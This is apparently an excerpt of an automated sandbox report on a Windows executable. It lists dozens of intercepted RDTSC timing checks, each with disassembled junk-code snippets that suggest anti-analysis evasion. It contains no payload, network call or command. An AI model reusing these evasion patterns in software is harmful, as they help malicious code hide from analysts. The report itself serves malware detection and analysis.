Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D4DB second address: A8D4FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F374CE66336h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F374CE66326h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D4FD second address: A8D501 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D501 second address: A8D548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 jne 00007F374CE6632Ch 0x0000000f pop esi 0x00000010 nop 0x00000011 mov dword ptr [ebp+12452029h], eax 0x00000017 mov ebx, dword ptr [ebp+1247E2A4h] 0x0000001d mov ecx, eax 0x0000001f add eax, ebx 0x00000021 mov ecx, dword ptr [ebp+122D3820h] 0x00000027 nop 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F374CE66337h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8D548 second address: A8D58E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F374C50007Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jc 00007F374C500078h 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F374C500080h 0x00000018 popad 0x00000019 nop 0x0000001a mov dword ptr [ebp+122D1AF0h], eax 0x00000020 cmc 0x00000021 push 00000004h 0x00000023 sub dx, 0B0Ah 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b jc 00007F374C500078h 0x00000031 push edi 0x00000032 pop edi 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADBE78 second address: ADBE7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADB156 second address: ADB162 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADB162 second address: ADB166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADB2C1 second address: ADB2D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 ja 00007F374C500076h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADE744 second address: ADE75D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F374CE66333h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADE75D second address: ADE778 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 jmp 00007F374C500080h 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADEBB8 second address: ADEBBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE6F67 second address: AE6F89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F374C500088h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE504D second address: AE505E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F374CE6632Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE505E second address: AE507B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F374C50007Ch 0x00000009 jmp 00007F374C50007Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE507B second address: AE509B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F374CE66326h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F374CE6632Eh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE521D second address: AE522C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ecx 0x00000007 jo 00007F374C500082h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE522C second address: AE526A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F374CE66326h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F374CE66338h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F374CE66338h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE6C18 second address: AE6C22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F374C500076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE6C22 second address: AE6C4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F374CE66337h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F374CE6632Bh 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE6C4E second address: AE6C52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEF387 second address: AEF38C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEF77A second address: AEF780 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEF780 second address: AEF784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5F44 second address: AF5F4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF631B second address: AF632D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jbe 00007F374CE66326h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF632D second address: AF6359 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F374C500090h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 jmp 00007F374C500088h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF6359 second address: AF635F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF7281 second address: AF72A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F374C500076h 0x00000010 jmp 00007F374C500086h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF72A7 second address: AF72AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF72AB second address: AF72B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF7AA0 second address: AF7AB2 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F374CE66328h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F374CE66326h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF7AB2 second address: AF7AB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5A1A second address: AF5A1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5A1E second address: AF5A2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F374C50007Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B00842 second address: B00857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F374CE6632Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0057D second address: B00581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B10008 second address: B10016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 je 00007F374CE66326h 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B123D0 second address: B123E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F374C50007Fh 0x00000007 jng 00007F374C500076h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F805 second address: B1F817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a js 00007F374CE66326h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F817 second address: B1F837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 jmp 00007F374C500086h 0x0000000b pop edi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B21500 second address: B2150A instructions: 0x00000000 rdtsc 0x00000002 js 00007F374CE66326h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2150A second address: B2150F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26A3F second address: B26A5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F374CE6632Bh 0x00000009 jmp 00007F374CE6632Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2DF1C second address: B2DF36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F374C500080h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2DF36 second address: B2DF3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2DF3A second address: B2DF53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F374C500081h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2DF53 second address: B2DF57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2C768 second address: B2C796 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F374C50007Ah 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c jng 00007F374C500078h 0x00000012 pushad 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push eax 0x00000018 jmp 00007F374C500080h 0x0000001d pop eax 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2C915 second address: B2C91B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2CA83 second address: B2CAAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F374C500082h 0x0000000f jmp 00007F374C50007Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2CAAE second address: B2CACB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F374CE66332h 0x00000008 pushad 0x00000009 jns 00007F374CE66326h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2CEC4 second address: B2CEE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F374C500084h 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2CEE3 second address: B2CEE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2CEE9 second address: B2CEED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2D08A second address: B2D09A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F374CE66326h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2DC72 second address: B2DC79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2DC79 second address: B2DC7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2DC7F second address: B2DC83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B41DEC second address: B41E24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F374CE66326h 0x0000000a jmp 00007F374CE66338h 0x0000000f jmp 00007F374CE66331h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B41E24 second address: B41E2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B41E2A second address: B41E2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B41E2E second address: B41E32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B41E32 second address: B41E38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B41C33 second address: B41C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F374C50007Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B41C47 second address: B41C82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007F374CE66326h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F374CE66330h 0x00000011 jmp 00007F374CE66331h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F374CE6632Ch 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B506FC second address: B5070A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F374C500076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5070A second address: B5070E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5070E second address: B50729 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F374C500087h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B50729 second address: B5072F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5072F second address: B50762 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F374C50007Ch 0x00000008 pop esi 0x00000009 push edi 0x0000000a jmp 00007F374C500089h 0x0000000f pop edi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B50762 second address: B50768 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B50768 second address: B50784 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F374C500086h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B53271 second address: B53281 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F374CE6632Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B53281 second address: B53287 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B53287 second address: B53297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jg 00007F374CE66326h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B52F7A second address: B52F80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B52F80 second address: B52F88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B62E71 second address: B62E75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B62E75 second address: B62E92 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F374CE66330h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B62E92 second address: B62E96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B62E96 second address: B62EA0 instructions: 0x00000000 rdtsc 0x00000002 js 00007F374CE66326h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B61FB6 second address: B61FBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B61FBF second address: B61FC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B61FC3 second address: B61FD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F374C500080h 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6229A second address: B622A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B622A0 second address: B622CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007F374C50007Dh 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F374C500081h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B62A05 second address: B62A28 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F374CE66333h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ja 00007F374CE6632Eh 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B65840 second address: B6584A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F374C500076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B65AA8 second address: B65AC3 instructions: 0x00000000 rdtsc 0x00000002 js 00007F374CE6632Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jbe 00007F374CE66334h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B65AC3 second address: B65AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B65AC7 second address: B65B15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 movsx edx, ax 0x0000000a push 00000004h 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F374CE66328h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 cld 0x00000027 push 21A08A8Dh 0x0000002c push eax 0x0000002d push edx 0x0000002e jo 00007F374CE6633Eh 0x00000034 jmp 00007F374CE66338h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B65B15 second address: B65B1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F374C500076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B65D55 second address: B65D5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B65D5C second address: B65DE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F374C500081h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122D26A5h], ebx 0x00000012 push dword ptr [ebp+122D1BA1h] 0x00000018 mov dl, ah 0x0000001a call 00007F374C500079h 0x0000001f jmp 00007F374C50007Dh 0x00000024 push eax 0x00000025 pushad 0x00000026 jmp 00007F374C50007Fh 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e pop edx 0x0000002f popad 0x00000030 mov eax, dword ptr [esp+04h] 0x00000034 jmp 00007F374C500082h 0x00000039 mov eax, dword ptr [eax] 0x0000003b pushad 0x0000003c pushad 0x0000003d push edi 0x0000003e pop edi 0x0000003f pushad 0x00000040 popad 0x00000041 popad 0x00000042 jmp 00007F374C50007Bh 0x00000047 popad 0x00000048 mov dword ptr [esp+04h], eax 0x0000004c jc 00007F374C500084h 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 popad 0x00000056 rdtsc
